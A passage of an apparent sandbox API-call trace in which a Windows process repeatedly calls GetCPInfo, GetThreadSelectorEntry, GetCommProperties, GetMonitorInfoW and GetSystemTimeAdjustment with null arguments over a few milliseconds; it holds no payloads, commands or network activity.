lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.556] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.556] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.556] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.556] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.556] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.556] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.556] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.556] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.556] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.556] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.556] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.556] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.556] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.556] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.556] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.556] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.556] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.556] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.556] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.556] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.556] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.556] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.556] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.556] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.556] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.556] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.556] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.556] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.556] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.557] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.557] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.557] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.557] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.557] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.557] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.557] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.557] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.557] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.557] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.557] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.557] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.557] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.557] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.557] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.557] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.557] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.557] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.557] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.557] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.557] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.557] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.557] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.557] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.557] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.557] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.557] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.557] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.557] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.557] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.558] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.558] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.558] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.558] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.558] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.558] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.558] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.558] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.558] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.558] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.558] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.558] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.558] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.558] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.558] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.558] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.558] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.558] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.558] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.558] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.558] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.558] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.558] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.558] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.558] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.558] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.558] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.558] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.558] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.558] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.559] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.559] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.559] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.559] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.559] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.559] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.559] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.559] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.559] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.559] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.559] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.559] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.559] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.559] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.559] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.559] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.559] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.559] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.559] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.559] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.559] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.559] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.559] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.559] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.559] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.559] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.559] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.559] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.559] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.559] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.560] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.560] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.560] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.560] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.560] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.560] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.560] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.560] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.560] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.560] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.560] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.560] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.560] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.560] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.560] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.560] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.560] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.560] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.560] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.560] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.560] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.560] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.560] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.560] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.560] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.560] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.561] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.561] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.561] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.561] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.561] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.561] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.561] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.561] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.561] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.561] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.561] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.561] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.561] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.561] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.561] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.561] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.561] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.561] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.561] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.561] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.561] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.561] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.561] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.561] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.561] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.561] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.561] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.561] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.561] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.561] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.561] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.561] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.562] 